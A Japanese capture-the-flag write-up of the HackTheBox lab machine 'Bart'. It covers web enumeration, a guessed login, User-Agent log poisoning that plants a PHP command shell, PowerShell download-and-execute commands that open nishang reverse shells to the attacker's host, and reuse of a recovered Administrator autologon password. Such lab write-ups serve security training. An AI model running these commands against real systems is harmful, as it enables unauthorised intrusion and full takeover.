初めに
今回は HackTheBox の Bart に取り組んでいきます。難易度は medium らしいです。
前回取り組んだ Trick とアプローチこそ違いますが、複数の Web サイトを渡り歩きながら初期侵入し、権限昇格に繋げていくマシンとなっています。
偵察
まずはターゲットマシンで開放されているポートを調査します。
┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ nmap -p- --min-rate 5000 -sCV 10.10.10.81
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 10:10 JST
Nmap scan report for 10.10.10.81
Host is up (0.39s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://forum.bart.htb/
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.90 seconds
Webポートしか空いていないみたいです。Windowsマシンとしては珍しい構成ですね。
ドメイン名がforum.bart.htb
とのことです。bart.htb
と併せて/etc/hosts
に追記した上でアクセスしてみましょう。
Webサイト
forum.bart.htb
bart.htb
にアクセスしてもこちらにリダイレクトされます。
企業のHPのようです。
ページ中部にはチームメンバーの名前が表示されています。
該当部分のソースをよくよく眺めてみると、一人コメントアウトされているメンバー(Harvey Potter
)がいますね。こちらは控えておきましょう。
それ以上の情報はパッとは見つかりませんでした。
今回最初からサブドメインのforum.bart.htb
に飛ばされたわけですが、他にも何かあるのではという気がします。サブドメイン探索してみましょう。
┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ gobuster vhost -u bart.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://bart.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: forum.bart.htb Status: 200 [Size: 35529]
Found: monitor.bart.htb Status: 200 [Size: 3423]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
新しくmonitor.bart.htb
の存在が判明しました。
こちらを/etc/hosts
に追加して、アクセスしてみたいと思います。
monitor.bart.htb
先程コメントアウトされていたHarvey Potter
さんが怪しいので、こちらの名前から類推できる組み合わせで色々ログイン試行してみたところ、Username に harvey
、Password に potter
の組み合わせでログインに成功しました。
メニューバーのServer
が嬉しそうです。アクセスしてみます。
新しいドメインinternal-01.bart.htb
の存在が判明しました。
こちらも/etc/hosts
に記載した上でアクセスしてみましょう。
internal-01.bart.htb
こちらもログイン画面が出てきました。流石に先程と同様の認証情報ではログインできません。
ログイン画面の感じから、各機能はphpで作られていそうなので、怪しい機能が無いか調査していきます。
┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ ffuf -u http://internal-01.bart.htb/simple_chat/FUZZ.php -w /usr/share/seclists/Discovery/Web-Content/common.txt -fc 500
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://internal-01.bart.htb/simple_chat/FUZZ.php
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response status: 500
________________________________________________
...
Index [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 228ms]
:: Progress: [295/4746] :: Job [1/1] :: 169 req/sec :: Duration: [0:
Login [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 239ms]
...
:: Progress: [1118/4746] :: Job [1/1] :: 182 req/sec :: Duration: [0
chat [Status: 302, Size: 4, Words: 1, Lines: 3, Duration: 232ms]
...
:: Progress: [2232/4746] :: Job [1/1] :: 183 req/sec :: Duration: [0
index [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 223ms]
...
:: Progress: [2547/4746] :: Job [1/1] :: 187 req/sec :: Duration: [0
login [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 219ms]
:: Progress: [2568/4746] :: Job [1/1] :: 176 req/sec :: Duration: [0:: Progress: [2572/4746] :: Job [1/1] :: 179 req/sec :: Duration: [0
logout [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 205ms]
...
:: Progress: [3512/4746] :: Job [1/1] :: 197 req/sec :: Duration: [0
register [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 221ms]
...
出力が長すぎてところどころ端折ってますが、register
があるみたいです。
見てみましょう。
ページが稼働していないようですね...
ログインリクエストの方を burp で見てみると、ログイン画面の URL であるlogin_forum.php
ではなく、login.php
が uname と passwd を飛ばしているようです。
そのため、register.php
自体は飛ばせるのではないかと推察します。
burpのrepeater機能で飛ばしてみましょう。
無事飛んでそうですね。ちゃんと登録できたかどうか、ログインして確認してみます。
ログイン成功です。
殆ど何もないページですが、右上に Log のボタンがあるのでこちらにアクセスしてみます。
何やらポップアップが出てきました。burp を覗いてみると以下のリクエストが飛んでいるっぽいです。
クエリパラメータとして filename と username が送信されています。指定したファイルにログを書き込んでいるような処理でしょうか。
log.txt
にはアクセスできなかったので、適当にfilenameに/log/log.php
を指定して書き込ませてみます。
ポップアップにリクエストヘッダのUser-Agent
部分が表示されています。
実際にアクセスしてみても書き込まれていることが確認できます。
こちらに、RCE の php を仕込んだらどうなるか見てみましょう。
repeater で送信した後に、もう一度同じ要領でURLにアクセスします。
この時、クエリパラメータに cmd=whoami
を追加して送信しています。
分かりづらいですが、nt authority\iusr
が whoami の出力で出てきていることが分かります。
それでは、リバースシェルを張って侵入していきたいと思います。
Initial Access
今回侵入対象のマシンは Windows のようなので、nishang の Invoke-PowerShellTcp.ps1 を対象マシンにダウンロードさせてリバースシェルを張ります。
初めに、Invoke-PowerShellTcp.ps1 に待ち受け先の IP とポートを記載しておきます。
┌──(kali㉿kali)-[~/tools/nishang/Shells]
└─$ tail -1 Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 4444
記載が終わったら、同階層で簡易サーバを立ち上げておきます(今回は8000ポートで待ち受けています)
その後、先程と同様 cmd パラメータに Invoke-PowerShellTcp.ps1 をダウンロードして即実行する旨のコマンドを記載して curl でURLを叩きます。
┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ curl "http://internal-01.bart.htb/log/log.php?filename=log.php&username=harvey&cmd=powershell+IEX(New-Object+Net.WebClient).downloadString('http://10.10.14.5:8000/Invoke-PowerShellTcp.ps1')"
IEX().downloadString(): URLからダウンロードしたスクリプトを即実行する
待ち受け側を確認すると、無事初期侵入できていることが確認できました。
ただ、このユーザではどの User ディレクトリも閲覧することが出来ないみたいなので横展開が必要そうです。
本マシンでは直接ドメインアドミンを取得するルートがありますので、結果的に権限昇格です。
Privilege Escalation
まずは、ヒントを得るためにwinPEAS
を回していきましょう。
今回侵入しているマシンはx64のタイプみたいなので注意しましょう
PS C:\Windows\Temp> systeminfo
Host Name: BART
OS Name: Microsoft Windows 10 Pro
OS Version: 10.0.15063 N/A Build 15063
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 00330-80110-20834-AA869
Original Install Date: 24/09/2017, 19:35:51
System Boot Time: 03/08/2025, 02:08:21
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2445 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-gb;English (United Kingdom)
Input Locale: en-gb;English (United Kingdom)
Time Zone: (UTC+00:00) Dublin, Edinburgh, Lisbon, London
Total Physical Memory: 4,095 MB
Available Physical Memory: 3,046 MB
Virtual Memory: Max Size: 5,567 MB
Virtual Memory: Available: 4,363 MB
Virtual Memory: In Use: 1,204 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) 82574L Gigabit Network Connection
Connection Name: Ethernet0
DHCP Enabled: No
IP address(es)
[01]: 10.10.10.81
Hyper-V Requirements: A hypervisor has been detected. Features required for Hyper-V will not be displayed.
注目すべきは以下です。Administrator
のオートログオンの認証情報が見えています。
こちらを使って Administrator として入り直そうと思います。
まずはWinPEASで手に入ったオートログオンの認証情報を環境変数に書き込みます。
PS C:\inetpub\wwwroot\internal-01\log> $username = "BART\Administrator"
PS C:\inetpub\wwwroot\internal-01\log> $password = "3130438f31186fbaf962f407711faddb"
次に、SecureString オブジェクトを作成して平文パスワードを SecureString に変換し、ユーザオブジェクト PSCredential を用意します
PS C:\inetpub\wwwroot\internal-01\log> $secstr = New-Object -TypeName System.Security.SecureString
PS C:\inetpub\wwwroot\internal-01\log> $password.ToCharArray() | ForEach-Object {$secstr.AppendChar($_)}
PS C:\inetpub\wwwroot\internal-01\log> $cred = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr
最後に、用意した認証情報とともに新しくリバースシェルを張るためのコマンドを実行します。
PS C:\inetpub\wwwroot\internal-01\log> Invoke-Command -ScriptBlock { IEX(New-Object Net.WebClient).downloadString('http://10.10.15.48:8083/shell.ps1') } -Credential $cred -Computer localhost
ここで、最後の列でダウンロードされている shell.ps1
は先程の Invoke-PowerShellTcp.ps1 の末尾を、新しく待ち受けるポート 5555 に変更したものになります。
┌──(kali㉿kali)-[~/tools/nishang/Shells]
└─$ tail -1 shell.ps1
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 5555
待ち構えていた側を確認すると、無事権限昇格できていることが確認できました。
┌──(kali㉿kali)-[~/hackthebox/bart]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.81] 50261
Windows PowerShell running as user Administrator on BART
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
PS C:\Users\Administrator\Documents>